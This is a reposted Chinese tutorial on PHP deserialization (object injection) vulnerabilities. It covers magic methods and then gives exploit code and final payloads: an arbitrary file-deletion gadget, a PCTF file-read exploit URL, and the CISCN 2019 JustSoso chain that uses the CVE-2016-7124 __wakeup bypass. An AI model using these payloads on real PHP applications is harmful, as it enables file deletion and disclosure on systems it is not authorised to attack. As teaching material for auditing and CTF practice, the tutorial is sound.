php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用
原創:f1r3K0
php反序列化漏洞,又叫php對象注入漏洞,是一種常見的漏洞,在我們進行代碼審計以及CTF中經常能夠遇到。
01學習前最好提前掌握的知識PHP類與對象(https://www.php.net/manual/zh/language.oop5.php)
PHP魔術方法(https://secure.php.net/manual/zh/language.oop5.magic.php)
serialize()
(http://php.net/manual/zh/function.serialize.php)
與unserialize()
(http://php.net/manual/zh/function.unserialize.php)
02序列化與反序列化
PHP (從 PHP 3.05 開始)為保存對象提供了一組序列化和反序列化的函數:serialize、unserialize。
serialize()
當我們在php中創建了一個對象后,可以通過serialize()把這個對象轉變成一個字符串,用于保存對象的值方便之后的傳遞與使用。測試代碼如下;
classpeople
{
public$name ="f1r3K0";
public$age ='18';
}
$class =newpeople();
$class_ser = serialize($class);
print_r($class_ser);
?>
測試結果:
O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意這里的括號外邊的為大寫英文字母O下面是字母代表的類型 a - array 數組 b - boolean布爾型 d - double雙精度型 i - integer o - common object一般對象 r - reference s - string C - custom object 自定義對象 O - class N - null R - pointer reference U - unicode string unicode編碼的字符串
unserialize()
與 serialize() 對應的,unserialize()可以從序列化后的結果中恢復對象(object),我們翻閱PHP手冊發現官方給出的是:unserialize — 從已存儲的表示中創建 PHP 的值。
我們可以直接把之前序列化的對象反序列化回來來測試函數,如下:
classpeople
{
public$name ="f1r3K0";
public$age ='18';
}
$class =newpeople();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unse
r);
?>
提醒一下,當使用 unserialize() 恢復對象時, 將調用 __wakeup() 成員函數。(先埋個伏筆,這個點后面會提)
03反序列化漏洞
由前面可以看出,當傳給 unserialize() 的參數可控時,我們可以通過傳入一個"精心”構造的序列化字符串,從而控制對象內部的變量甚至是函數。
利用構造函數等
Magic function
php中有一類特殊的方法叫“Magic function”,就是我們常說的"魔術方法" 這里我們著重關注一下幾個:__construct():構造函數,當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。
__destruct():析構函數,類似于C++。會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行,當對象被銷毀時會自動調用。
__wakeup():如前所提,unserialize()時會檢查是否存在?__wakeup(),如果存在,則會優先調用?__wakeup()方法。
__toString():用于處理一個類被當成字符串時應怎樣回應,因此當一個對象被當作一個字符串時就會調用。
__sleep():用于提交未提交的數據,或類似的清理操作,因此當一個對象被序列化的時候被調用。
測試如下:
classpeople
{
public$name ="f1r3K0";
public$age ='18';
function__wakeup()
{
echo"__wakeup()";
}
function__construct()
{
echo"__consrtuct()";
}
function__destruct()
{
echo"__destruct()";
}
function__toString()
{
echo"__toString";
}
/*function __sleep()
{
echo "__sleep";
}*/
}
$class =newpeople();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>
結果如下:
從運行結果來看,我們可以看出unserialize函數是優先調用"__wakeup()"再進行的反序列化字符串。同時,對于其他方法的調用順序也一目了然了。(注意:這里我將sleep注釋掉了,因為sleep會在序列化的時候調用,因此執行sleep方法就不會再執行序列以及之后的操作了。)
利用場景
__wakeup()和destruct()
由前可以看到,unserialize()后會導致wakeup() 或destruct()的直接調用,中間無需其他過程。因此最理想的情況就是一些漏洞/危害代碼在wakeup() 或destruct()中,從而當我們控制序列化字符串時可以去直接觸發它們。我們這里直接使用參考文章的例子,代碼如下:
//logfile.php 刪除臨時日志文件
classLogFile{
//log文件名
public$filename ='error.log';
//存儲日志文件
publicfunctionLogData($text) {
echo'Log some data:'. $text .'
';
file_put_contents($this->filename, $text, FILE_APPEND);
}
//Destructor刪除日志文件
publicfunction__destruct() {
echo'__destruct delete'. $this->filename .'file.
';
unlink(dirname(__FILE__) .'/'. $this->filename);//刪除當前目錄下的filename這個文件
}
}
?>
//包含了’logfile.php’的主頁面文件index.php
classUser{
//屬性
public$age =0;
public$name ='';
//調用函數來輸出類中屬性
publicfunctionPrintData() {
echo'User'. $this->name .'is'. $this->age .'years old.
';
}
}
$usr = unserialize($_GET['user']);
?>
梳理下這2個php文件的功能,index.php是一個有php序列化漏洞的主業文件,logfile.php的功能就是在臨時日志文件被記錄了之后調用__destruct方法來刪除臨時日志的一個php文件。 這個代碼寫的有點邏輯漏洞的感覺,利用這個漏洞的方式就是,通過構造能夠刪除source.txt的序列化字符串,然后get方式傳入被反序列化函數,反序列化為對象,對象銷毀后調用__destruct()來刪除source.txt.
漏洞利用exp<?php
include'logfile.php';
$obj =newLogFile();
$obj->filename ='source.txt';//source.txt為你想刪除的文件
echo serialize($obj) .'
';
?>
這里我們通過['GET']傳入序列化字符串,調用反序列化函數來刪除想要刪除的文件。
之前還看到過一個wakeup()非常有意思的例子,這里直接上鏈接了
chybeta淺談PHP反序列化 https://chybeta.github.io/2017/06/17/淺談php反序列化漏洞/
04其它magic function的利用
這里我就結合PCTF和今年國賽上的題來分析了
PCTF
題目鏈接:(http://web.jarvisoj.com:32768/index.php)前面幾步都是很常見的讀文件源碼
這里直接放出給的兩個源碼//index.php
require_once('shield.php');
$x =newShield();
isset($_GET['class']) && $g = $_GET['class'];
if(!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
上邊index.php提示了包含的shield.php所以說直接構造base64就完事了//shield.php
//flag is in pctf.php
classShield{
public$file;
function__construct($filename ='') {
$this -> file = $filename;
}
functionreadfile() {
if(!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return@file_get_contents($this->file);
}
}
}
index.php 1.包含了一個shield.php 2.實例化了Shiele方法 3.通過[GET]接收了用戶反序列化的內容,輸出了readfile()方法
shield.php 1.首先就能發現file是可控的(利用點) 2.construct()在index中實例化的時候就已經執行了,因此不會影響我們對可控$file的利用。
構造poc<?php
classShield
{
public$file ="pctf.php";
}
$flag =newShield();
print_r(serialize($flag));
?>最終poc:
最終POC
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
ciscn2019 web1- JustSoso
讀源碼的過程省略//index.php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo'Missing parameter'.'
';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($queryas$value){
if(preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo"Missing parameters";
}
?>
classHandle{
private$handle;
publicfunction__wakeup(){
foreach(get_object_vars($this)as$k => $v) {
$this->$k =null;
}
echo"Waking up\n";
}
publicfunction__construct($handle) {
$this->handle = $handle;
}
publicfunction__destruct(){
$this->handle->getFlag();
}
}
classFlag{
public$file;
public$token;
public$token_flag;
function__construct($file){
$this->file = $file;
$this->token_flag=&$this->token;
}
publicfunctiongetFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo@highlight_file($this->file,true);
}
}
}
}
其實剛開始做的時候是很懵逼了,一直在糾結爆破md5上邊。22233333
1.首先我們需要繞的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失敗,這樣就可以在payload里出現flag,這里應該n1ctf的web eating cms的繞過方式,添加 ///index.php繞過。
2.接下來就是需要我們繞過wakeup()里的將$k賦值為空的操作,這里用到的是一枚cve 當成員屬性數目大于實際數目時可繞過wakeup方法(CVE-2016-7124)
3.繞md5這里用到了PHP中引用變量的知識
https://blog.csdn.net/qq_33156633/article/details/79936487
簡單來說就是,當兩個變量指向同一地址時,例如: $b=&$a,這里的 $b指向的是 $a的區域,這樣b就隨著a變化而變化,同樣的原理,我們在第二步序列化時加上這一步$b =newFlag("flag.php");
$b->token=&$b->token_flag;
$a =newHandle($b);
這樣最后的token就和token_flag保持一致了。
最后的POC<?php
classHandle
{
private$handle;
publicfunction__wakeup()
{
foreach(get_object_vars($this)as$k => $v)
{
$this->$k =null;
}
echo"Waking upn";
}
publicfunction__construct($handle)
{
$this->handle = $handle;
}
publicfunction__destruct()
{
$this->handle->getFlag();
}
}
classFlag
{
public$file;
public$token;
public$token_flag;
function__construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
publicfunctiongetFlag()
{
if(isset($this->file))
{
echo@highlight_file($this->file,true);
}
}
}
$b =newFlag("flag.php");
$b->token=&$b->token_flag;
$a =newHandle($b);
echo(serialize($a));
?>
這里還有一個點就是我們需要用%00來補全空缺的字符,又因為含有private 變量,需要 encode 一下。
最終payload:
?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
05利用普通成員方法
前面談到的利用都是基于“自動調用”的magic function。但當漏洞/危險代碼存在類的普通方法中,就不能指望通過“自動調用”來達到目的了。這時我們需要去尋找相同的函數名,把敏感函數和類聯系在一起。一般來說在代碼審計的時候我們都要盯緊這些敏感函數的,層層遞進,最終去構造出一個有殺傷力的payload。
參考文章
https://www.cnblogs.com/Mrsm1th/p/6835592.html
http://p0desta.com/2018/04/01/php反序列化總結/
http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解與利用/
https://p0sec.net/index.php/archives/114/
相關操作學習:
PHP反序列化漏洞實驗:明白什么是反序列化漏洞,漏洞成因以及如何挖掘和預防此類漏洞。http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001開始操作!
本文為合天原創,未經允許,嚴禁裝載。
總結
以上是生活随笔為你收集整理的php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux安装多路径报错,Linux操作
- 下一篇: linux内网安装git,一键安装Git